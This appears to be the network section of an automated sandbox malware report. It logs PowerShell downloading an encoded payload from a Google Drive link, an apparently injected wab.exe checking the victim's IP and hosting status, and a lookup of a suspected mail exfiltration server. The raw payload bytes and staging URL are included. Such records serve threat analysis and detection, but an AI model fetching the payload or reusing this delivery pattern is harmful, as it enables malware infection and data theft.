Apr 18, 2024 11:07:59.483941078 CEST	443	49715	104.26.13.205	192.168.2.9
Apr 18, 2024 11:07:59.484010935 CEST	49715	443	192.168.2.9	104.26.13.205
Apr 18, 2024 11:07:59.485848904 CEST	49715	443	192.168.2.9	104.26.13.205
Apr 18, 2024 11:07:59.485861063 CEST	443	49715	104.26.13.205	192.168.2.9
Apr 18, 2024 11:07:59.705035925 CEST	443	49715	104.26.13.205	192.168.2.9
Apr 18, 2024 11:07:59.705097914 CEST	49715	443	192.168.2.9	104.26.13.205
Apr 18, 2024 11:07:59.707353115 CEST	49715	443	192.168.2.9	104.26.13.205
Apr 18, 2024 11:07:59.707361937 CEST	443	49715	104.26.13.205	192.168.2.9
Apr 18, 2024 11:07:59.707609892 CEST	443	49715	104.26.13.205	192.168.2.9
Apr 18, 2024 11:07:59.710762024 CEST	49715	443	192.168.2.9	104.26.13.205
Apr 18, 2024 11:07:59.752119064 CEST	443	49715	104.26.13.205	192.168.2.9
Apr 18, 2024 11:08:00.002708912 CEST	443	49715	104.26.13.205	192.168.2.9
Apr 18, 2024 11:08:00.002878904 CEST	443	49715	104.26.13.205	192.168.2.9
Apr 18, 2024 11:08:00.002937078 CEST	49715	443	192.168.2.9	104.26.13.205
Apr 18, 2024 11:08:00.006352901 CEST	49715	443	192.168.2.9	104.26.13.205
Apr 18, 2024 11:08:00.114505053 CEST	49716	80	192.168.2.9	208.95.112.1
Apr 18, 2024 11:08:00.230349064 CEST	80	49716	208.95.112.1	192.168.2.9
Apr 18, 2024 11:08:00.230449915 CEST	49716	80	192.168.2.9	208.95.112.1
Apr 18, 2024 11:08:00.230763912 CEST	49716	80	192.168.2.9	208.95.112.1
Apr 18, 2024 11:08:00.348381042 CEST	80	49716	208.95.112.1	192.168.2.9
Apr 18, 2024 11:08:00.402947903 CEST	49716	80	192.168.2.9	208.95.112.1
Apr 18, 2024 11:08:01.557657957 CEST	49716	80	192.168.2.9	208.95.112.1
Apr 18, 2024 11:08:01.676327944 CEST	80	49716	208.95.112.1	192.168.2.9
Apr 18, 2024 11:08:01.676436901 CEST	49716	80	192.168.2.9	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 11:07:09.339632988 CEST	62800	53	192.168.2.9	1.1.1.1
Apr 18, 2024 11:07:09.443852901 CEST	53	62800	1.1.1.1	192.168.2.9
Apr 18, 2024 11:07:09.918910027 CEST	55730	53	192.168.2.9	1.1.1.1
Apr 18, 2024 11:07:10.025685072 CEST	53	55730	1.1.1.1	192.168.2.9
Apr 18, 2024 11:07:59.374245882 CEST	51661	53	192.168.2.9	1.1.1.1
Apr 18, 2024 11:07:59.479171038 CEST	53	51661	1.1.1.1	192.168.2.9
Apr 18, 2024 11:08:00.009569883 CEST	52045	53	192.168.2.9	1.1.1.1
Apr 18, 2024 11:08:00.113759995 CEST	53	52045	1.1.1.1	192.168.2.9
Apr 18, 2024 11:08:01.558650970 CEST	52408	53	192.168.2.9	1.1.1.1
Apr 18, 2024 11:08:01.680903912 CEST	53	52408	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 18, 2024 11:07:09.339632988 CEST	192.168.2.9	1.1.1.1	0x8020	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:09.918910027 CEST	192.168.2.9	1.1.1.1	0xf7bc	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:59.374245882 CEST	192.168.2.9	1.1.1.1	0x8f3	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:08:00.009569883 CEST	192.168.2.9	1.1.1.1	0xb576	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:08:01.558650970 CEST	192.168.2.9	1.1.1.1	0xfd7	Standard query (0)	mail.myhydropowered.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 18, 2024 11:06:52.784538984 CEST	1.1.1.1	192.168.2.9	0x5cd2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:06:52.784538984 CEST	1.1.1.1	192.168.2.9	0x5cd2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:09.443852901 CEST	1.1.1.1	192.168.2.9	0x8020	No error (0)	drive.google.com		142.251.15.139	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:09.443852901 CEST	1.1.1.1	192.168.2.9	0x8020	No error (0)	drive.google.com		142.251.15.101	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:09.443852901 CEST	1.1.1.1	192.168.2.9	0x8020	No error (0)	drive.google.com		142.251.15.100	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:09.443852901 CEST	1.1.1.1	192.168.2.9	0x8020	No error (0)	drive.google.com		142.251.15.113	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:09.443852901 CEST	1.1.1.1	192.168.2.9	0x8020	No error (0)	drive.google.com		142.251.15.102	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:09.443852901 CEST	1.1.1.1	192.168.2.9	0x8020	No error (0)	drive.google.com		142.251.15.138	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:10.025685072 CEST	1.1.1.1	192.168.2.9	0xf7bc	No error (0)	drive.usercontent.google.com		142.250.105.132	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:59.479171038 CEST	1.1.1.1	192.168.2.9	0x8f3	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:59.479171038 CEST	1.1.1.1	192.168.2.9	0x8f3	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:07:59.479171038 CEST	1.1.1.1	192.168.2.9	0x8f3	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:08:00.113759995 CEST	1.1.1.1	192.168.2.9	0xb576	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 18, 2024 11:08:01.680903912 CEST	1.1.1.1	192.168.2.9	0xfd7	Server failure (2)	mail.myhydropowered.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

api.ipify.org

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49716	208.95.112.1	80	7228	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 11:08:00.230763912 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 18, 2024 11:08:00.348381042 CEST	174	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 09:08:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	142.251.15.139	443	7660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 09:07:09 UTC	215	OUT	GET /uc?export=download&id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DR HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Connection: Keep-Alive
2024-04-18 09:07:09 UTC	1582	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 18 Apr 2024 09:07:09 GMT Location: https://drive.usercontent.google.com/download?id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DR&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-dMi7Cj338ntXt-79qXfcYg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	142.250.105.132	443	7660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 09:07:10 UTC	233	OUT	GET /download?id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DR&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-04-18 09:07:11 UTC	4748	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPrwSa-ghfPagr1Gf4IEYfqrgUHncCYMfC3V364WMkJpm0CSx8k32mGN6l4PDG1UVwiluho Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="Maalstningen.psp" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, X-Google-EOM, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-353267353-bin, x-goog-ext-353267353-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, x-goog-ext-359275022-bin, x-goog-ext-328800237-jspb, x-goog-ext-202735639-bin, x-goog-ext-223435598-bin, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Request-Time, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, x-goog-maps-api-salt, x-goog-maps-api-signature, x-goog-maps-client-id, X-Goog-Api-Key, x-goog-spanner-database-role, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Android-Cert, X-Goog-Maps-Ios-Uuid, X-Goog-Maps-Android-Uuid, X-Ariane-Xsrf-Token, X-YouTube-Bootstrap-Logged-In, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Desusertion, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-OidcIdToken, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-goog-greenenergyuserappservice-metadata, x-goog-sherlog-context, X-Server-Token, x-rfui-request-context, x-goog-nest-jwt Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 447556 Last-Modified: Tue, 16 Apr 2024 19:10:36 GMT Date: Thu, 18 Apr 2024 09:07:11 GMT Expires: Thu, 18 Apr 2024 09:07:11 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=mAej5Q== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-18 09:07:11 UTC	4748	IN	Data Raw: 36 77 4b 4d 53 48 45 42 6d 37 76 4b 57 78 6f 41 63 51 47 62 36 77 49 41 6d 77 4e 63 4a 41 52 78 41 5a 74 78 41 5a 75 35 6a 42 74 61 34 48 45 42 6d 2b 73 43 78 6a 6d 42 38 64 6c 53 70 33 33 72 41 68 65 79 36 77 4a 30 50 34 48 78 56 55 6e 39 6e 58 45 42 6d 2b 73 43 4f 75 39 78 41 5a 76 72 41 69 48 55 75 6d 66 62 31 33 70 78 41 5a 74 78 41 5a 74 78 41 5a 76 72 41 76 57 67 4d 63 70 78 41 5a 76 72 41 6b 38 39 69 52 51 4c 63 51 47 62 36 77 4a 6e 43 39 48 69 63 51 47 62 36 77 4b 42 51 49 50 42 42 4f 73 43 52 46 33 72 41 68 64 6e 67 66 6e 32 64 70 34 46 66 4d 70 78 41 5a 74 78 41 5a 75 4c 52 43 51 45 63 51 47 62 63 51 47 62 69 63 4e 78 41 5a 76 72 41 6b 72 74 67 63 4e 4e 55 4a 59 41 36 77 4b 4b 2b 6e 45 42 6d 37 72 41 70 78 79 2f 36 77 49 57 57 2b 73 43 30 51 61 Data Ascii: 6wKMSHEBm7vKWxoAcQGb6wIAmwNcJARxAZtxAZu5jBta4HEBm+sCxjmB8dlSp33rAhey6wJ0P4HxVUn9nXEBm+sCOu9xAZvrAiHUumfb13pxAZtxAZtxAZvrAvWgMcpxAZvrAk89iRQLcQGb6wJnC9HicQGb6wKBQIPBBOsCRF3rAhdngfn2dp4FfMpxAZtxAZuLRCQEcQGbcQGbicNxAZvrAkrtgcNNUJYA6wKK+nEBm7rApxy/6wIWW+sC0Qa
2024-04-18 09:07:11 UTC	4748	IN	Data Raw: 79 78 35 52 32 31 48 44 4e 74 4f 6c 62 7a 53 36 51 6b 4f 2b 58 77 32 32 36 45 70 35 2b 68 64 63 6a 31 79 63 6a 6c 4c 7a 2f 46 31 6c 32 43 42 78 78 71 79 77 6e 51 73 62 73 52 53 76 50 65 46 6d 4e 77 6b 36 46 77 4b 6e 52 43 74 68 4a 2b 71 57 30 49 70 58 66 53 63 54 2f 46 31 6c 32 43 42 78 78 71 79 77 6e 51 73 62 73 52 53 76 50 65 46 6d 4e 77 6b 36 46 77 4b 6e 52 43 74 68 4a 2b 71 57 30 49 70 58 66 53 63 54 2f 34 61 41 59 76 37 76 66 6f 30 6c 34 4c 6d 37 70 65 43 35 75 36 58 67 75 62 75 6c 34 4c 6d 37 70 65 42 52 41 52 70 79 6c 52 4a 54 70 42 7a 76 35 74 5a 67 4d 6f 70 67 79 75 75 58 73 2f 6b 47 31 4a 49 63 54 32 4d 57 48 75 35 48 59 56 65 52 6b 76 66 30 36 68 78 56 6b 69 51 78 59 55 6a 45 6e 4f 51 6f 4f 6b 7a 59 56 71 78 42 59 56 41 70 68 32 4f 59 37 44 6c Data Ascii: yx5R21HDNtOlbzS6QkO+Xw226Ep5+hdcj1ycjlLz/F1l2CBxxqywnQsbsRSvPeFmNwk6FwKnRCthJ+qW0IpXfScT/F1l2CBxxqywnQsbsRSvPeFmNwk6FwKnRCthJ+qW0IpXfScT/4aAYv7vfo0l4Lm7peC5u6Xgubul4Lm7peBRARpylRJTpBzv5tZgMopgyuuXs/kG1JIcT2MWHu5HYVeRkvf06hxVkiQxYUjEnOQoOkzYVqxBYVAph2OY7Dl
2024-04-18 09:07:11 UTC	456	IN	Data Raw: 45 2f 75 63 2b 64 6a 77 6a 6d 2f 6c 4e 5a 77 62 44 61 6f 73 32 31 51 42 53 78 31 47 7a 4f 32 48 4c 6f 35 36 4f 31 6e 43 51 6b 31 77 41 62 30 75 4f 78 33 47 4c 72 52 6a 57 79 55 79 32 72 41 42 79 5a 62 6e 2b 6f 36 6c 41 41 6c 75 69 4a 4a 72 44 44 4f 79 4a 54 4a 48 34 62 73 6d 49 53 50 47 72 6e 5a 33 79 42 32 2b 4d 33 79 45 79 47 4c 51 51 61 76 54 63 45 6a 35 57 63 39 54 56 43 65 47 44 2f 35 42 4c 72 76 47 76 73 74 73 32 4e 50 56 4a 50 47 4a 72 50 41 6b 4a 79 57 6b 4f 4f 68 44 74 56 54 52 50 47 50 2f 5a 47 50 6a 39 62 4d 43 58 70 47 44 50 44 70 4f 65 37 70 62 57 57 46 4b 2b 57 34 56 7a 44 70 6d 55 33 49 79 70 32 6d 43 71 6e 4b 4e 76 66 78 78 43 72 73 42 43 45 57 38 75 58 38 57 5a 34 6a 71 6c 30 6b 2b 6a 4d 75 76 38 52 6c 37 57 63 6f 63 6f 41 54 50 50 43 6d Data Ascii: E/uc+djwjm/lNZwbDaos21QBSx1GzO2HLo56O1nCQk1wAb0uOx3GLrRjWyUy2rAByZbn+o6lAAluiJJrDDOyJTJH4bsmISPGrnZ3yB2+M3yEyGLQQavTcEj5Wc9TVCeGD/5BLrvGvsts2NPVJPGJrPAkJyWkOOhDtVTRPGP/ZGPj9bMCXpGDPDpOe7pbWWFK+W4VzDpmU3Iyp2mCqnKNvfxxCrsBCEW8uX8WZ4jql0k+jMuv8Rl7WcocoATPPCm
2024-04-18 09:07:11 UTC	1255	IN	Data Raw: 63 6a 68 35 67 6f 6f 36 5a 43 51 53 79 59 75 2f 32 6a 68 35 34 44 67 70 4c 76 56 38 4d 46 75 6b 38 43 53 44 5a 70 36 74 66 32 62 48 61 68 4c 64 70 66 31 46 62 56 70 53 50 6d 5a 6a 6b 53 61 79 43 55 30 63 77 5a 42 30 53 5a 42 51 54 56 4b 4a 49 75 73 67 6c 51 6f 59 54 70 79 47 67 48 72 39 32 48 72 68 39 31 71 38 62 50 4b 62 4f 45 6c 72 58 38 68 4f 4a 43 49 4c 6b 48 76 4d 4f 45 6e 59 64 62 30 41 38 6e 77 77 58 4b 7a 33 4a 44 39 32 6d 70 4e 4c 6c 77 4b 49 64 79 75 38 64 51 76 53 6d 67 49 72 49 30 56 33 73 45 2b 5a 53 30 75 2f 72 4d 68 4a 44 47 6f 4e 62 48 6e 2f 59 38 42 43 52 49 70 39 6e 46 65 64 72 64 73 4b 67 54 39 2f 76 39 2b 43 5a 4c 6f 34 6a 34 45 79 62 49 43 36 73 41 46 2b 34 4d 62 34 6a 6a 42 56 53 5a 65 51 68 7a 78 74 79 47 6d 78 62 4d 34 46 33 36 48 Data Ascii: cjh5goo6ZCQSyYu/2jh54DgpLvV8MFuk8CSDZp6tf2bHahLdpf1FbVpSPmZjkSayCU0cwZB0SZBQTVKJIusglQoYTpyGgHr92Hrh91q8bPKbOElrX8hOJCILkHvMOEnYdb0A8nwwXKz3JD92mpNLlwKIdyu8dQvSmgIrI0V3sE+ZS0u/rMhJDGoNbHn/Y8BCRIp9nFedrdsKgT9/v9+CZLo4j4EybIC6sAF+4Mb4jjBVSZeQhzxtyGmxbM4F36H
2024-04-18 09:07:11 UTC	1255	IN	Data Raw: 35 75 31 52 55 47 64 55 75 6f 55 43 6c 68 70 7a 72 2f 4e 74 69 70 79 6f 62 4e 4f 42 55 46 59 43 41 59 43 54 55 6e 58 34 45 42 42 41 36 6b 63 53 76 6c 79 75 76 74 6e 79 65 34 72 6d 37 70 65 43 35 75 36 58 67 75 62 75 6c 34 4c 6d 37 70 65 43 35 53 6d 6f 34 2f 4d 61 38 32 59 79 4e 30 57 34 56 39 38 6b 55 41 74 78 4e 74 2f 39 46 36 30 4a 34 4d 69 6a 51 75 37 75 6c 61 55 44 71 4c 6d 32 4a 75 61 58 67 64 64 79 32 66 77 49 47 45 4e 77 6f 70 44 44 6f 46 44 7a 7a 4e 46 54 2f 51 73 6d 73 66 68 73 67 5a 62 53 6c 4f 4b 69 37 70 65 43 35 75 36 58 67 75 62 75 6c 34 4c 6d 37 70 65 43 35 75 31 4a 44 7a 67 38 55 44 2b 4a 54 42 77 6b 49 78 63 4a 38 79 6c 55 5a 75 33 2b 4d 4d 64 70 4b 74 47 4c 58 75 62 75 6c 34 4c 6d 37 70 65 43 35 75 36 58 67 75 62 75 6c 34 4c 6c 36 33 77 Data Ascii: 5u1RUGdUuoUClhpzr/NtipyobNOBUFYCAYCTUnX4EBBA6kcSvlyuvtnye4rm7peC5u6Xgubul4Lm7peC5Smo4/Ma82YyN0W4V98kUAtxNt/9F60J4MijQu7ulaUDqLm2JuaXgddy2fwIGENwopDDoFDzzNFT/QsmsfhsgZbSlOKi7peC5u6Xgubul4Lm7peC5u1JDzg8UD+JTBwkIxcJ8ylUZu3+MMdpKtGLXubul4Lm7peC5u6Xgubul4Ll63w
2024-04-18 09:07:11 UTC	1255	IN	Data Raw: 75 6c 34 45 7a 6f 4a 32 62 42 45 68 61 6a 4b 73 37 67 6c 6f 32 35 34 52 79 44 4a 4f 55 55 37 67 51 68 2f 50 6a 66 4a 42 65 48 58 79 6b 32 4f 48 77 4f 53 34 76 32 4c 4e 2b 58 59 6f 6f 67 4e 6c 63 69 41 70 75 70 73 33 34 32 36 65 65 75 59 67 33 48 44 34 4b 58 4c 69 7a 53 4e 6b 75 7a 49 6c 6e 4b 72 37 50 79 51 33 37 47 73 50 70 71 54 38 53 70 46 4f 33 6d 50 4e 4c 51 35 47 6c 30 2f 55 46 66 34 74 45 70 38 6b 66 52 7a 2f 68 42 78 54 65 79 39 7a 58 38 53 52 4f 39 30 62 79 4f 4f 5a 2b 75 50 62 56 44 44 76 52 66 61 4d 54 66 4c 61 55 33 73 4d 54 79 53 39 4c 76 4d 4f 43 6b 2b 58 63 69 50 74 72 31 45 72 35 65 46 4f 37 57 76 77 74 44 42 61 62 43 74 6d 59 56 6d 56 45 74 51 67 61 4a 6c 4f 39 33 71 4a 4d 69 41 4e 6e 30 55 4e 43 47 44 73 6a 71 48 44 5a 53 53 31 70 68 53 Data Ascii: ul4EzoJ2bBEhajKs7glo254RyDJOUU7gQh/PjfJBeHXyk2OHwOS4v2LN+XYoogNlciApups3426eeuYg3HD4KXLizSNkuzIlnKr7PyQ37GsPpqT8SpFO3mPNLQ5Gl0/UFf4tEp8kfRz/hBxTey9zX8SRO90byOOZ+uPbVDDvRfaMTfLaU3sMTyS9LvMOCk+XciPtr1Er5eFO7WvwtDBabCtmYVmVEtQgaJlO93qJMiANn0UNCGDsjqHDZSS1phS
2024-04-18 09:07:11 UTC	1255	IN	Data Raw: 54 77 73 6b 48 34 4a 34 32 33 77 65 68 4e 62 4d 4e 39 54 53 4b 43 4b 73 41 43 6e 4a 79 4f 4b 64 61 37 2b 30 32 71 61 42 47 77 6b 31 4a 31 4b 44 50 48 4f 36 52 2f 37 32 64 78 32 59 56 4e 70 6f 6f 63 4e 4f 6b 2b 70 37 72 75 36 73 53 55 79 52 4f 6d 6f 4a 69 41 36 79 36 54 45 32 73 46 67 47 57 31 69 76 38 64 43 6c 78 5a 5a 45 44 66 69 61 4f 74 2b 54 66 52 53 62 47 65 7a 31 65 71 41 78 77 78 4c 5a 78 2f 49 39 57 37 49 78 52 38 6f 4a 4a 33 4a 52 50 66 67 75 62 51 68 53 4d 32 2f 70 62 6d 42 52 2f 39 68 6a 5a 2f 71 2f 79 6d 4e 39 46 6c 71 4c 5a 56 32 4f 45 71 2b 79 4d 63 57 4a 41 6b 4c 4b 5a 54 72 4f 48 72 78 49 6c 70 30 4c 4f 47 46 76 64 77 49 48 6b 77 61 43 45 35 6c 53 37 53 58 42 4b 79 59 4c 2b 6e 74 47 30 4c 4b 64 49 58 72 7a 59 6d 39 4d 36 57 7a 69 67 6c 6f Data Ascii: TwskH4J423wehNbMN9TSKCKsACnJyOKda7+02qaBGwk1J1KDPHO6R/72dx2YVNpoocNOk+p7ru6sSUyROmoJiA6y6TE2sFgGW1iv8dClxZZEDfiaOt+TfRSbGez1eqAxwxLZx/I9W7IxR8oJJ3JRPfgubQhSM2/pbmBR/9hjZ/q/ymN9FlqLZV2OEq+yMcWJAkLKZTrOHrxIlp0LOGFvdwIHkwaCE5lS7SXBKyYL+ntG0LKdIXrzYm9M6Wziglo
2024-04-18 09:07:11 UTC	1255	IN	Data Raw: 56 35 64 68 6f 61 67 36 6b 63 52 31 7a 63 34 47 4f 49 2b 42 4c 79 50 61 47 72 59 48 45 55 73 6e 44 7a 70 54 35 6d 67 6b 59 32 46 2f 66 31 61 30 45 6a 70 6a 63 48 54 70 51 62 49 6c 4d 6b 66 68 69 79 59 67 45 73 79 2b 30 55 74 4c 61 76 63 49 77 6f 61 52 74 4d 68 4e 2f 63 53 71 31 4a 34 75 4f 48 6f 33 6a 75 45 4a 72 42 72 45 54 47 53 4d 66 4a 37 71 75 6a 6a 47 31 58 4a 64 75 36 58 76 4e 72 58 55 35 4c 6e 6c 54 55 50 78 76 36 58 76 66 6f 57 7a 34 4c 6d 37 70 65 43 35 75 36 58 67 75 62 75 6c 34 4c 6d 37 70 65 42 45 4a 4e 68 32 6f 72 4f 70 43 6d 73 71 51 52 2f 71 41 4c 69 30 45 39 30 6b 45 39 2b 4a 63 4a 41 34 55 4a 4b 68 78 71 30 73 34 7a 57 5a 52 4c 33 6a 2f 75 2b 4b 64 4c 63 43 6a 4e 79 68 6f 39 69 58 4f 74 45 6d 72 7a 4f 4b 37 65 49 77 4b 47 53 35 75 36 56 Data Ascii: V5dhoag6kcR1zc4GOI+BLyPaGrYHEUsnDzpT5mgkY2F/f1a0EjpjcHTpQbIlMkfhiyYgEsy+0UtLavcIwoaRtMhN/cSq1J4uOHo3juEJrBrETGSMfJ7qujjG1XJdu6XvNrXU5LnlTUPxv6XvfoWz4Lm7peC5u6Xgubul4Lm7peBEJNh2orOpCmsqQR/qALi0E90kE9+JcJA4UJKhxq0s4zWZRL3j/u+KdLcCjNyho9iXOtEmrzOK7eIwKGS5u6V
